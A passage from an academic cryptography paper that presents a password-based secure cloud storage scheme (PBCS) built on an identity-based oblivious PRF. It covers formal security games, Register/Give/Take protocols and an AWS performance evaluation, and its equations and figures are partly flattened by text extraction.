promise many of the system’s constituent HSMs. However,
SafetyPin highly relies on the HSM cluster of the cloud, while
our PBCS aims to be deployed on any commercial storage
cloud. We summarize the detailed comparison in Table 1.

2 Preliminaries

Login mechanisms. Most cloud storage service providers de-
ploy a login mechanism to authenticate their clients. In prac-
tice, such login mechanism can be instantiated via a password,
a biometric like the fingerprint, a token from a third party au-
thentication protocol like OAuth [20,21], the recent Universal
Second Factor protocol [51], or other types of authenticators
from the user via her software to the cloud server. Without
loss of generality, a login mechanism can be abstracted as the
register algorithm AuthReg and the login algorithm Login:

- AuthReg(id,αid): Client U with identity id registers to server
D using an authenticator αid which can be a password, a
token, etc. After the registration, client U keeps αid , and
server D gets the stub βid for later login verification.

- Login(id,αid ,βid): After registration, client U authenticates
himself to the server D by presenting his id and the authen-
ticator α, and server D uses the stored stub βid to verify the
pair (id,α) and output a bit b to denote success or not.

For simplicity, we assume the communications in register
and login are all protected by a secure channel, hence cannot
be seen or altered by the adversary (in fact, pinned certificates
and universal second factor plus password authenticators fa-
cilitate this situation).

Game BypassA

id∗ ←$ A
αid∗ ←$χ

// Choose α
∗ from distribution χ

βid∗ ←$AuthReg(id∗,αid∗)

α
′ ←$ AOAuthReg,OLogin

Login(id∗,α′,βid∗) = b

return b

Oracle OAuthReg(id,α)

β←$AuthReg(id,α)

return β

Oracle OLogin(α)

if count > B

return ⊥
else

Login(α,βid∗) = b′

count = count +1

return b′

Figure 3: The security game of the login scheme.

Here we define the formal properties of the Login mecha-
nism. The login mechanism should satisfy:
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• Correctness: If βid is generated from the AuthReg algo-
rithm with id and αid , the Login procedure with id, αid
and βid will always succeed.

• ε-Security: Without αid∗ or βid∗ , the probability that an
adversary A outputs an authenticator α′ that can pass the
verification with βid∗ within B login attempts is less than
ε. Here the upper bound B is specified by the scheme.
Formally, a login scheme (AuthReg,Login) is ε-secure if
the probability of the adversary wining the Bypass game
in Fig. 3 is less than ε.

3 Identity Based Oblivious PRF

The identity based oblivious pusedorandom function (IBO-
PRF) is an important primitive underlying our PBCS protocol
to insist on a single password. Here we formalize its syntax
and properties to adapt to our PBCS design (though our con-
struction adopts the techniques used in the password manager
SPHINX [48]). We observe that most websites’ and Apps’ lo-
gin systems enable the user to choose a really long password
which is more than 16 characters, but the user usually cannot
remember such a long password. Inspired by the oblivious
pseudorandom function (OPRF) [17,27,44] and the password
hardening service [16, 35], we allow the user to leverage the
IBOPRF service to generate a long and high-entropy login
password from the short passphrase people can remember.

Different from the traditional OPRF, the IBOPRF is a pro-
tocol between one server and multiple clients. The server
holds a master key msk while each client holds an unique
identity id. Different from the password hardening service
in [16, 35], IBOPRF is a service that faces the end-users di-
rectly, instead of a three party protocol between the end users,
the client (which may be a web server that performs password-
based authentication of end users) and a hardening service
provider. It is also different from the existing industrial pass-
word manager service like the Chrome [22] and the iCloud
Keychain [24] ones, the IBOPRF server itself will not learn
the user’s passphrase or the login passwords.

The IBOPRF server computes a specific PRF key kid for
each identity id, and let the client obliviously compute the
PRF value Fkid (x) on his input x via interactions with the
server. Later Fkid (x) can be encoded into a long password.
After the communication, on the one hand, the server cannot
learn the client’s input x nor predict the final output Fkid (x).
On the other hand, any client cannot compute the correct PRF
value without communicating with the server.

The IBOPRF is a challenge-response protocol between a
client and a server with the following syntax.

- Setup(1λ)→ (pp,msk) : Given the security parameter
λ, generate the public parameter pp and the server’s master
secret key msk.

- CEval1(pp, id,x)→ (ch,st): When inputs the public pa-
rameter pp, identity id and a secret input passphrase x, the

client computes a challenge ch and an internal state st.
- SEval(pp, id,ch,msk)→ rp: When the server receives

an identity id and a challenge ch from the client, the server
computes a response r according to the public parameter pp
and his master secret key msk.

- CEval2(pp, id,rp,st)→ y: When the client receives the
response rp from the server, he will retrieve the internal state
st and compute the function output password y according to
the public parameter pp and the identity id.
Properties. The IBOPRF should guarantee the following
properties (Formal definitions can be found in Appendix A):

Uniqueness: If all parties follow the protocol, the client
will learn a unique output y = Fk(id,x), i.e., the client will
never output y′ ̸= y for same id and x.

Pseudorandomness captures the security of IBOPRF
against other malicious clients who did not corrupt the server
but can arbitrarily query the server. It guarantees that those
clients cannot distinguish y = Fk(id∗,x∗) from a random
string r for a chosen identity id∗ and a secret input x.

Obliviousness models the security of IBOPRF against the
malicious server. It guarantees that a malicious server cannot
predict y for a fixed id and an unknown input x, even if it can
interact with the honest client holding id and x multiple times.

Construction. The IBOPRF could easily be constructed
in the random oracle model. Our design is inspired by the
2HashDH protocol in [28]. In Appendix A, we give formal
analysis for the above construction.

- Setup(1λ): Choose a prime p which is λ bits large. The
input passphrase space and the output password space are
within {0,1}k and {0,1}λ, respectively. The hash function
H1 is from {0,1}k to Zp. The hash function H2 is from ID×
{0,1}λ to Z∗p. The hash function H3 is from {0,1}k ×Zp

to {0,1}λ. Form the public parameter pp = (p,H1,H2,H3).
Pick the master secret key msk←${0,1}λ.

- CEval1(pp, id,x): On input the identity id and the
passphrase x, the user picks st←$Z∗p as the internal state
and sends ch = Hst

1 (x) to the server.
- SEval(id,ch,msk): Given the identity id, the server com-

putes the client specific PRF key kid = H2(id,msk). Then the
server generates the response rp = chkid .

- CEval2(id,rp,st): On message rp from the server, the
client verifies rp ∈ ⟨g⟩. If the test passes, then the client
retrieves the secret state st and returns y = H3(x,rp1/st).

4 Architecture and Definition

As we explained in the introduction, we aim to upgrade an
existing App (having a plain cloud storage) with a secure
storage function while minimize the influence on usability.
Therefore, the PBCS fully leverages the existing infrastruc-
ture of a typical App. Specifically, a typical App [25, 31, 40]
(maybe without the secure storage) may use a manager server
to administrate its service. To provide more storage space
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for each client, the App usually registers and maintains an ac-
count on the cloud server for each individual user. When the
user wants to deposit or retrieve his large files, the App will
help him to login to his cloud storage account via his identity
and the password. After login, the client can freely deposit
data to or retrieve data from the cloud. To be compatible with
the existing App architecture, the PBCS system involves three
parties: a client U (or user) who deposits/retrieves data, a data
server D (cloud storage server) which stores the encrypted
data, and a key server K (administrative server) which offers
key management services (See Fig. 2).

As in standard practice, the PBCS system consists of two
parts, i.e., the key encapsulation mechanism (KEM) part
which lets a client distributively generate and store a strong
master key mk with the help of the two servers; and the data
encapsulation mechanism (DEM) part to encrypt the actual
content with mk. The encryption of the DEM part can be
easily instantiated through any standard authentication en-
cryption; and the confidentiality and integrity of the content
depends on the security of the master key. In the following,
we will focus on the KEM part as the DEM part can be triv-
ially augmented. For a concrete example walking through the
whole system, we refer to Sec. 5.3.

4.1 Syntax of the KEM

Our PBCS fully leverages the login mechanism of the servers.
Specifically, the KEM part of PBCS consists of three pro-
cedures: Register, Give and Take. The Register procedure
enables a client with identity id and passphrase PP to register
an account on the cloud server with the help of the key server.
In the Give procedure, the client first logins his account on the
cloud server, and chooses a master key mk, then distributively
deposits mk to the cloud server and the key server. In the Take
procedure, the client retrieves the master key mk by logining
the cloud server and interacting with the two servers via PP.
Note that the client only needs to remember the passphrase
PP during all procedures. We first give a formal definition.

Definition 1 A KEM part of our Portable Blind Cloud
Storage system is a tuple of interactive procedures
(Register,Give,Take) after setup, each of which is meant to
be run among three parties (modeled as interactive Turing ma-
chines): a user U, a key server K and a data server D . Each
of them has three subroutines, i.e., (URegister,UGive,UTake),
(KRegister,KGive,KTake) and (DRegister,DGive,DTake) for each
procedure Register, Give and Take. In a PBCS system, the
key server K and the data server D will maintain their states
sK and sD , respectively:

Setup: The key server and the data server generate their
public parameters ppK and ppD , and secret parameters spK
and spD , respectively. Moreover, the servers will initiate their
internal states sK and sD .

Register: The client chooses his id and a passphrase PP.
Given the public parameters ppK and ppD , the client will
interact with the two servers and create an account on the
cloud server. If succeeds, the two servers will update their
states sK ,sD , accordingly.
Give: The client takes his id, the passphrase PP and the
servers’ public parameters ppK , ppD as inputs. The servers
take their states sK ,sD and secret parameters spK ,spD as
inputs, respectively. If succeeds, the client obtains a randomly
generated mk and the servers update their states sK and sD
incorporating the shares regarding mk respectively.
Take: In this procedure, the client retrieves the stored master
key mk, which would be used later in the DEM part. The
client inputs id, PP and the servers’ public parameters ppK
and ppD , while the servers input their states sK and sD and
secret parameters spK and spD, respectively. If succeeds, the
servers update their states sK and sD respectively.

4.2 Security Threats and Models
The PBCS system should guarantee both the confidential-
ity and integrity of the stored data against the illegitimate
users, the corrupted key server, or the corrupted data server.
Particularly, we require that :

- The illegitimate user without the correct passphrase can
not learn the storage data, nor let the user accept forged data;

- If any one of the servers is malicious, he can not learn
the storage data nor let the user accept forged data even if he
does not follow the protocol;

- Even both servers are corrupted, the security of data falls
back the best possible security in the single-server setting.

However, the denial of service attacks are out of scope
of our security model. Furthermore, PBCS is designed for
the running environment where only the servers have the
certificates issued by PKI, but the clients do not. Accordingly,
a sever-only authenticated and confidential channel [26, 32]
can be established between the honest users and servers via
TLS. So the adversary is allowed to impersonate any client in
front of the server, but can not read or alter the communication
between the honest client and the honest server.

Security Models. When the DEM part is instantiated via a
standard authenticated encryption, the confidentiality and the
integrity of the content in PBCS depend on the security of
the master key, so here we only consider the formal security
models for the KEM part. Now we will provide models to
capture the master key’s confidentiality and integrity.

We provide four security properties to formalize the confi-
dentiality of the master key against illegitimate users, against
either compromised key server (or data server) and even
against two compromised servers. It is not hard to see that
security against illegitimate users is straightforwardly implied
by the security against a compromised key (or data) server
since the server himself can disguise as an illegitimate user;
also security in the case that both servers got compromised
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IND-CKS Game

1 : b←${0,1}
2 : Generate the data server’s (ppD ,spD)

3 : ppK ←$ A
4 : A arbitrarily switches in two modes:

Mode 1:(·,sD) ←$
〈
A(),DRegister(spD ,sD)

〉
// A can register on D with arbitrary identity id

Mode 2:(sD , ·) ←$
〈

DGive/Take(spD ,sD),A(·)
〉

// A interacts with D while pretending as K or clients with any id

// A assigns D to execute any procedures (Give,Take)

5 : id∗ ←$ A(·) // The adversary chooses the challenge user id∗

6 : PPid∗ ←$ C // Choose the passphrase for the challenge user.

7 : A arbitrarily switches in three modes:

Mode 1: (·,sD , ·) ←$〈
UGive(id∗,PPid∗ , ppK , ppD),DGive(spD ,sD),A(·)

〉
// A interacts with D and Uid∗ arbitrarily as K and views their responses

// D and U(id∗,PPid∗ ) only execute the Give procedure

// At this stage U has not generated mk successfully yet

Mode 2: (sD , ·) ←$
〈

DGive/Take(spD ,sD),A(·)
〉

// Similar to Mode 2 in Step 4

// A may also pretend to be Uid∗ but without knowing PPid∗

Mode 3: (·,sD) ←$
〈
A()⇆ DRegister(spD ,sD)

〉
// A can register D with arbitrary identity id ̸= id∗

8 : (mk0,sD , ·) ←$〈
UGive(id∗,PPid∗ , ppK , ppD),DGive(spD ,sD),A(·)

〉
9 : mk1 ←${0,1}∗

10 : A ← mkb

11 : A arbitrarily switches in three modes:

Mode 1:
(
mk′,sD , ·

)
←$〈

UTake(id∗,PPid∗ , ppK , ppD),DTake(sD),A()
〉

if b = 0∧mk′ ̸=⊥ then mk∗ = mk′

if b = 1∧mk′ ̸=⊥ then mk∗ = mk1

if mk′ =⊥ then mk∗ =⊥
A ← mk∗ // The adversary learns mk∗

// A interacts with D and Uid∗ arbitrarily as K and views their responses

Mode 2:(sD , ·) ←$
〈

DGive/Take(spD ,sD),A()
〉

// Similar to Mode 2 in Step 4

// A may also pretend to be Uid∗ but without knowing PPid∗

Mode 3: (·,sD) ←$
〈
A()⇆ DRegister(spD ,sD)

〉
// A can register D with arbitrary identity id

12 : return b = b′ where b′ ←$ A()

Figure 4: The IND-CKS game. The challenger C simulates
the data server D and the target client Uid∗ .

falls back to the single server case. We defer more security
discussions to our full version. In the main body, we consider
the situation that the adversary corrupts the key management
server and other users (with identities different from the vic-
tim), and propose the IND-CKS security (here CKS denotes
Compromised Key Server) in Def. 2. Similarly, we can model
security against the compromise data server, which we call
IND-CDS security (CDS denotes Compromised Data Server),
by switching the role of K and D. Note that our PBCS sys-
tem provides a similar level of the security as PPSS, i.e., an
attacker breaking into any one of these servers learns nothing
about the secret (or the password).

Our IND-CKS experiment is similar to the game-based
definition of PPSS in [27]. Intuitively, during the IND-CKS
experiment (Fig.4), the challenger C simulates data server D
and the challenge client (with identity id∗), while the adver-
sary A plays the roles of the key server K as well as other
clients. A can arbitrarily invoke the (Register,Give,Take)
procedures. Also she can adaptively register new accounts
on the data server. The challenger simulates the procedure
that the challenged client deposits a master key. The adver-
sary, who controls the corrupted key server and deviates the
protocol, aims to distinguish this master key from a random
key. A slight difference of the IND-CKS experiment with the
PPSS [27, 28] is that PPSS requires the adversary cannot im-
personate the honest client in front of the honest server in the
initiation phrase, but the IND-CKS experiment the adversary
can impersonate the target client in front of servers. More
precisely, we have the following definition.

Definition 2 (Master key confidentiality against the compro-
mised key server.) Consider the following interactive game
ExpIND-CKS

A in Fig. 4 between an adversary A and a chal-
lenger C , parametrized by security parameter λ and a bit b.3

Let n denote the min-entropy of the passphrase PPid∗ .4 We
say that a PBCS scheme is secure against the compromised
key management server if there exists a negligible function
s.t. ∀ P.P.T adversary A it holds that

Pr
[
ExpIND-CKS

A

(
1λ,1n

)
= 1

]
≤ 1

2
+Adv(n)+negl(λ)

where Adv(n) is the ideal security inherited for guessing
PPid∗ , which is O

( 1
2n

)
.To make the model meaningful, we

assume that the adversary will cause a certain number (poly-
nomially bounded) of failures, but the Give procedure of the
challenge client will eventually succeed and a master key will
finally be generated.

3For two P.P.T interactive algorithms P1 and P2, we denote by
(a,b)←$⟨P1(x),P2(y)⟩ the event that P1 and P2 engage in an interactive
protocol with P1’s input x and P2’s input y, and produce local outputs a and
b, respectively. Similarly, we denote by (a,b,c)←$⟨P1(x),P2(y),P3(z)⟩ for
the corresponding three-party interaction among P1,P2,P3.

4Note that n may not directly equal to the length of the passwords, since
the distribution of passwords is not uniform [54, 55].
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Our definition aims at capturing the soundness property as
PPSS [27, 28] as well. The soundness means that one mali-
cious server cannot make the user to accept a tampered master
key in the Take procedure. Therefore, the adversary in our
model not only can learn a master key mkb after a successful
Give (mkb could be a real key mk0 or a random key mk1 ac-
cording the flip coin b), but also is given a master key version
mk∗ after a successful Take procedure. If the scheme does not
satisfy the soundness, the malicious adversary could make
the client get a tempered master key which not equals to the
one generated in the Give procedure, and then the adversary
can distinguish his view is the real key or the random one by
comparing mkb and mk∗.

5 Construction

We now describe the details of the KEM part of our PBCS.
Since the DEM part which carries the actual content can be
augmented trivially, the KEM part becomes the most challeng-
ing design.The first challenge of designing our PBCS system
lies on how to derive a simple yet client authentication solu-
tion which could be deployed on non-programmable cloud
storage service. The second challenge is to integrate the App
login mechanism in the secure storage module, so the user
can leverage one password to login the App and access the
secure content. Moreover, we also need to be careful that the
malicious server may intentionally modify the storage data.

Simple cloud server authentication. To avoid heavy prim-
itives that cloud storage APIs may not support, we need a
simple way for the cloud server to authenticate the client.
Note that we can not let the user directly use his passphrase
to login the cloud server, since this passphrase will also be
used to login the App and must be hidden to the cloud server.
However, we observe that the existing login mechanism usu-
ally supports a very long password, which could be more
than 16 characters and decoded into a 128 bits length string.
Although it is crazy to require a person to remember such
a long password, the client can generate the long password
from a short passphrase via an IBOPRF service provided by
the key server. Hence the user only needs to remember a short
passphrase instead of the long password. Moreover, although
the IBOPRF service is public to all clients as well as the data
server (since to compute the password hardened value does
not need to login in advance), the pseudorandomness guaran-
tees that the low entropy passphrase is still kept secret to the
(malicious) data server when he blindly queries the IBOPRF
limited times with the same identity. The obliviousness of
the IBOPRF guarantees that the key server also cannot learn
the passphrase. Compromising one server does not help to
authenticate to the other. Since our “Give-and-Take” protocol
only involves the basic account register/login and TLS on the
cloud server side, it can be directly deployed on a commercial
cloud storage services like Dropbox or AWS S3.

Integrating App login into PBCS is not only the require-
ment of minimizing the influence on the user experience, but
also important for the security. Indeed, users often reuse
their passwords or use slight variations [46] on different ser-
vices. To solve this problem, the user can not use the re-
membered passphrase to login the key server directly, since
this passphrase is also used to login the cloud server and
needed to be hidden to the key server. Our idea is to make
the App login to be naturally accomplished in the meantime
of that the “Give” or “Take” protocol is executed. Precisely,
the client will generate an authentication token as the App
login password from a high entropy randomness sid and the
passphrase PP. The high entropy randomness sid is stored
on the data server. In the “Give” or “Take” protocol, the
client will authenticate himself to the key server by directly
inputting this authentication token to the existing App login
module5, hence the client could simultaneously login the App.
Moreover, since a compromised key server can not learn the
passphrase, he can not login the data server and break the
security of the private content.

Integrity guarantee. When the master key is fixed, the in-
tegrity of the content can be trivially protected by the authen-
ticate encryption used in the DEM part. However, a malicious
server may intentionally violate the protocol and let the client
accept a modified master key. This is out of the scope of
the security property of the traditional authentication encryp-
tion. To guarantee the integrity of the master key against a
malicious key server, one may suggest to use authentication
encryption to encrypt the master key mk. When the key server
keeps the authentication ciphertext of mk instead of a piece of
mk shares. However, the encryption key k of mk is stored on
the data server and can be modified. To solve this problem,
we let k be derived from the the randomness rid stored by
the data server and invent a novel method to verify that rid
is not modified by the malicious data server. Specifically,
we tear the encryption key into two parts: k1 and k2. k1 and
k2 are both derived from rid and the passphrase PP but via
two different random oracles KDF2 and KDF3. k1 is used to
encrypt mk and get the ciphertext ct, while k2 is used to de-
rive a HMAC with the form τ = H4(ct,k2). Both ct and τ are
stored on the key server side. If the data server provides a
tampered r′id , the client will generate a wrong k′2. So when the
key server sends back the tag τ, a false randomness r′id will
lead the tag verification fails, i.e., τ ̸= H4(ct,k′2). Note that
the tuple of the IND-CPA secure ciphertext ct and the token τ

can also be viewed as an authentication encryption ciphertext
since it follows the Enc-then-Mac paradigm.

5The App login password is encoded from the authentication token which
is a long bit string.
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K (msk,LK ) C(id,PP) D(LD)
r←$Zm

if a ∈ ⟨g⟩ id,a a = Hr
1(PP)

kid = H2(msk, id)

b = akid b pwd = H3(PP,b1/r) id & pwd if LD
id = /0

βid = AuthReg(id,pwd)
Login(id,pwd,βid)

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Data Server Login Succeed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

sid ←${0,1}λ sid LD
id ← (sid ,∗,∗)

γid = AuthReg(id, t) id, t t = KDF1(sid ,PP)

Figure 5: The Register Procedure. The client derives the password pwd from the IBOPRF with his passphrase PP and uses it to
run AuthReg to register to the data server who obtains and stores the login sub βid for the future login verification. Also the client
derives the authentication token t from PP and a randomness seed sid . Later sid will be deposited to the data server. t, as the App
login password, will be registered to the key server who obtains and stores the login stub γid for the future login verification.
The boxed message means they are protected by TLS. The security requires the number of calling the IBOPRF service for one
specific id on the key server side is bounded.

5.1 Construction details

Following the guidelines discussed above, we can design the
three procedures of our “Give-and-Take” protocols as follows.
During all procedures, the client will use TLS to protect the
communications. Here we assume the cloud server and the
App’s login mechanisms have already deployed countermea-
sures to prevent the on-line dictionary attacks.

• Register: The key server holds a IBOPRF master se-
cret key msk. The client chooses an identity id and a
memorable passphrase PP. The key server and the data
server will maintain a tuple LK

id ∈ LK and LD
id ∈ LD for

each identity id, respectively. KDF1 is a key derivation
function as a random oracle. βid and γid are login stubs
for the data server and the key server, respectively. When
the IBOPRF is instantiated via 2HashDH in Sec. 3, the
register procedure is as Fig. 5.

• Give: When the protocol starts, the client with identity
id holds the passphrase PP. The data storage server D
holds the login stubs βid , and maintains a list LD to
record randomnesses. The key server K keeps a list LK ,
the login stubs γid and his master secret key msk. Let
(KeyGen,Enc,Dec) be the algorithms of a symmetric
encryption scheme with the ciphertext space C . Let the
function y = Fmsk(id,x) be the IBOPRF computed by
the key server as defined in Sec. 3. KDF1, KDF2 and
KDF3 are three key derivation functions which could
be modeled as random oracles. H4 is a hash function

from C ×{0,1}λ → {0,1}λ which could also be mod-
eled as random oracles. The detailed Give procedure is
demonstrated pictorially in Fig.6 when the IBOPRF is
instantiated via 2HashDH as Sec. 3.

• Take is to let the client retrieve the master key from two
servers. Take protocol will use the same primitives as
Give. When Take starts, the client with identity id holds
passphrase PP. The servers D and K each holds a tuple
(βid ,LD) and (msk,γid ,LK ) respectively. The detailed
Take procedure is demonstrated pictorially in Fig. 7,
where the IBOPRF is instantiated by the 2HashDH in
Sec. 3. Note that the number of the call of the IBOPRF
service for one specific id on the key server side must be
limited to guarantee the security.

5.2 Security

The security of PBCS can be founded in following theorems.
The analysis will appear in the full version.

To show the master key is confidential to the data server,
we argue that the only approach for the adversary to access
ctid∗ via K is to successfully recover the authentication token
tid∗ . Since the KDF1 is a random oracle, the adversary must
guess the passphrase PP. Due to the pseudorandomness of
the IBOPRF, pwd will not leak the information about PP
within limited time of invoking the IBOPRF service, so the
adversary has to guess PP blindly. Moreover, the client will
not accept a tampered master key, since the client could verify
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K
(

msk,γid ,LK
)

C(id,PP) D
(

βid ,LD
)

r←$Zm

if u ∈ ⟨g⟩ id,u u = Hr
1(PP)

kid = H2(msk, id)

v = ukid v pwd = H3(PP,v1/r)

rid ←${0,1}λ id,pwd,rid Login(id,pwd,βid)

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Data Server Login Succeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

mk←${0,1}∗ sid LD
id ← (sid ,rid)

t = KDF1(sid ,PP)

k1 = KDF2(rid ,PP)

k2 = KDF3(rid ,PP)

ct = Enck1(mk)

Login(id, t,γid)
id, t,ct,τ

τ = H4(ct,k2)

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Key Server Login Succeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

if LK
id =⊥

LK
id ← (ct,τ)

e = 1

else e = 0 e if e = 1 Remember PP

Figure 6: The Give Procedure. The client logins the data server via the password pwd derived with the key server, where the
data server stores the login stub βid for the login verification. Then the client reconstructs the authentication token t and the key
of the authentication encryption k1 and k2. The client uses id, t to login the key server who stores the login stub γid for login
verification, and deposits the ciphertext of the master key ct and the corresponding tag τ to the key server. The boxed message
means that they are protected by TLS. H1, H2 and H3 are hash functions used in the 2HashDH IBOPRF defined in Sec. 3. The
security requires the number of the call of the IBOPRF service for one specific id on the key server side is bounded.

the randomness rid replied by the data server via the hash
function H4 and KDF3. Formally, we have:

Theorem 1 Let KDF1 be a random oracle. The min-entropy
of the passphrase PP is d. The IBOPRF is (ε,d,B)-
pseudorandomness. The total number of the adversary call-
ing IBOPRF service is bounded by B. The total number
of the invalid APP login is bounded by BK . PBCS is se-
cure against compromised data server, i.e., the probability
for any adversary to win the IND-CDS game is less than
1/2+ ε+BK /2d +negl(λ).

To get access to the encryption key kid∗ on the data server,
the adversary has only two choices. The first is to authenticate
to the data server, which means to successfully recover the
password pwd. However, pseudorandomness of IBOPRF
guarantees pwd cannot be guessed by the key server. The

second is to blindly guess rid∗ , whose probability is negligible.
Hence the master key is confidential to the malicious key
server. Moreover, since the IND-CPA ciphertext ct and the
tag τ from an authenticated encryption of the master key mk.
Hence the malicious key server can not make the forged tuple
(ct ′,τ′) to be accepted by the client. Formally, we have:

Theorem 2 Let (Register,Login) be a AdvAuth-secure login
mechanism (as in Sec. 2). Let χ be the distribution of input
x, d be its min-entropy. The adversary makes q attempts to
login the data server. The IBOPRF is (ε,d,q)-obliviousness.
Let KDF2 be a random oracle. Let (KeyGen,Enc,Dec) be
a secure authenticated encryption scheme. PBCS is secure
against compromised data server, i.e., the probability for any
adversary to win the IND-CKS game (Fig. 4) is less than
1/2+ ε+negl(λ), where λ is the security parameter.
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K (msk,γid ,LK ) C(id,PP) D(βid ,LD)
r←$Zm

if u ∈ ⟨g⟩ id,u u = Hr
1(PP)

kid = H2(msk, id)

v = ukid v pwd = H3(PP,v1/r)
id,pwd Login(id,pwd,βid)

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Data Server Login Succeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

t = KDF1(sid ,PP)
sid ,rid (sid ,rid)← LD

id

k1 = KDF2(rid ,PP)

(tid ,ct,τ)← LK
id

id, t k2 = KDF3(rid ,PP)

Login(id, t,γid)

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Key Server Login Succeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

return ct,τ ct,τ if τ = H4(ct,k2)

mk = Deck1(ct)

Figure 7: The Take Procedure. The client logins the data server via the password pwd derived with the key server, reconstructs
the App login password t and the key of the authentication encryption k1 and k2. Then the client logins the App and authenticates
himself to the key server with t, retrieves the ciphertext of the master key ct and the corresponding tag τ from the key server and
then decrypts it. The tag τ is used to verify the integrity of the ciphertext ct. The boxed messages means they are protected by
the TLS channel. βid ,γid are the login stubs stored in the data server and the key server, respectively, for login verification. H1,
H2 and H3 are hash functions used in the 2HashDH IBOPRF defined in Sec. 3. The security requires the number of the call of
the IBOPRF service for one specific id on the key server side is bounded.

5.3 Deployment considerations

In practice, most of the above PBCS operations are run “un-
der the hood”. Here we describe how to leverage PBCS to
smoothly integrate the secure storage module into the App
and modify the App login mechanism while not affecting the
user’s experience.

When the user registers an account to the App with an
identity by choosing a passphrase PP, in the back-end the
client will launch a Register procedure of PBCS and help the
user to register a cloud account with password pwd and an
App account with password t using the identity id.6

When the user logins his App account using the passphrase
PP at the first time, in the back-end the client and two servers
run the Give procedure to complete the App login and auto-
matically initialize the secure storage services as well. After-
ward, the system will generate a distributively stored master
key mk and store it securely.

When the user logins his App account using the passphrase
PP from then on, the client’s device will invoke the Take

6For the users who already have App accounts before the update to PBCS,
we highly suggest them to choose a new login passphrase, because the
previous one may already be learned by the App server.

to login the App as well as retrieving the master key mk by
communicating with the two servers at the back end. To
upload the actual content, the client will encrypt the actual
content using mk to generate ciphertext CT , and uploads CT
to the data server. To retrieve the content, the client downloads
the ciphertexts CT from the data server, uses mk to decrypt it
and displays the results in the interface.

6 Experimental Evaluations

In this section, we demonstrate the deployability, efficiency,
scalability and economical cost of our PBCS system via exper-
iments carried out in Amazon Web Service (AWS for short).

Deployability. We did a survey of current popular cloud
storage services, and found that popular storage services,
including but not limited to Amazon S3 [2], Google Cloud
Storage [18], Azure Storage [41], and Dropbox [15] pro-
vide the required API to act as the data server in PBCS to
support secure storage. In our experiment, we only use the
create/put/get API for java from Amazon S3 for deposit and
retrieve. Other storage services provide such APIs supporting
similar functions, like Dropbox’s file upload/download API.
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Moreover, our PBCS system is easy to be adopted to ex-
isting Apps. Our code can be packaged into a keyServerAPI
and a clientAPI to provide service for App. Simply run the
keyServerAPI on the App provider’s administrative server
and call the clientAPI on the App’s client side to provide
secure deposit and retrieve.

Efficiency. We implement a prototype in Java includ-
ing instantiating all cryptographic primitives with the stan-
dard Java API and Bouncy Castle library. The IBOPRF
is implemented with “secp256r1” curve. We use TLS 1.2
with the TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 ci-
phersuite for client to authenticate and securely connect
key server, HTTPS protocol to communicate with the data
server, and AES/CTR/NoPadding as the storage encryp-
tion, and AES/GCM/NoPadding as the key encryption, and
PBKDF2WithHmacSHA256 with one iteration with different
salts to implement the KDF1,2,3. We use the build-in login of
cloud storage service to implement the client authentication.

We do experiments on AWS. The data server is deployed
on Amazon S3 in Tokyo. The key server is deployed on
AWS EC2 using t2.micro instance in Osaka. The client is
deployed in Seoul using AWS EC2 t3.xlarge instance, which
has similar configuration with popular PCs7. The operating
system is ubuntu 18.04 LTS. All the three are located in
different regions to simulate remote clients and physically
separated servers. We measured the round trip time (RTT)
using ping from the client to the key server of 28.9ms and to
the data server of 33.0ms, and the network upload/download
speed of 700Mbps/699Mbps (using iperf3).

To show our design is efficient and practical, we measure
the overhead of client and key server. We measure the time
cost of each procedure over 100 iterations and get the average,
where the IBOPRF, Give and Take costs 0.145s, 0.53s, and
0.48s, respectively. The key server overhead makes up less
than 1% of IBOPRF including one hash to group element
operation costing 4.5s per million iterations, and one elliptic
curve scalar multiplication operation which costs 261.83s per
million iterations. So TLS handshake and the network latency
dominate the IBOPRF cost.

We do experiment on files with various sizes (from 10MB
to 300MB) and run 25 iterations for both depositing and
retrieval to get average cost. The results are displayed in
Fig. 8, 9, where the red plain deposit denotes insecure deposit,
the blue secure deposit includes one run of the Take protocol,
encrypting file, and uploading encrypted file to the data server.
For the client overhead, besides the above procedures, com-
pared to insecure depositing and retrieving plain data without
PBCS, secure data depositing and retrieval via PBCS need
to encrypt and decrypt the data, which bring extra overhead.
From Fig. 8, the showed overheads (secure deposits costs
larger than plain deposits), are very small, increasing from

7At the time of writing, the t2.micro instances were equipped with 1GB
memory and 1 vCPU of Intel Xeon processors. The t3.xlarge instances were
equipped with 16GB memory and 4 vCPU of Intel Xeon processors.

Figure 8: Time for depositing files

0 to 1.5 seconds as the file size increases to 300MB. From
Fig. 9, the secure retrieval overhead is even fewer, near to
zero. The detailed breakdown data could be found in Tables
2.

Figure 9: Time for retrieving files

Further optimization. We observe that our PBCS’s over-
heads mainly come from the Enc/Dec, that increase (though
still small) as the file gets larger, so it can be optimized by
encrypting/decrypting data while uploading/downloading. If
we cut the large file into smaller blocks, and encrypt/decrypt
each of them while uploading/downloading another block, the
total latency could be reduced to the encryption/decryption
of only one block and the upload/download of all the blocks.
We show the optimization details in Appendix C. From the
yellow line in Fig.8,9 and the columns “OOvd” of Tables 2,
one can see that the optimised overhead is extremely close to
0. More impressively, the time cost of downloading a plain-
text file are even larger than securely downloading using the
optimized implementation. This is because our optimization
for retrieval folds both decryption and disk write operation
with downloading data process8.

Scalability. The main obstacle of PBCS to deploy in a popu-
lar App may be its influence on key server (the App server)
scalability. So we test the key server throughput in the IBO-
PRF. As the reference , we also test the throughput of key
server for static page.

8We do not split the plaintext file into blocks, since it incurs more time
cost than treating a plain file as a whole when a deposit/retrieve request needs
to be made for each block at the server end.
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The key server as a web server is equipped with ng-
inx+tomcat framework. The IBOPRF requests are HTTPS
GET requests. We use Siege as the throughput test benchmark
running on AWS EC2 t2.2xlarge instance with 8vCPU and
32GB memory in Seoul, the same region as the client. We
test 400 parallel requests with 250 iterations. For key server
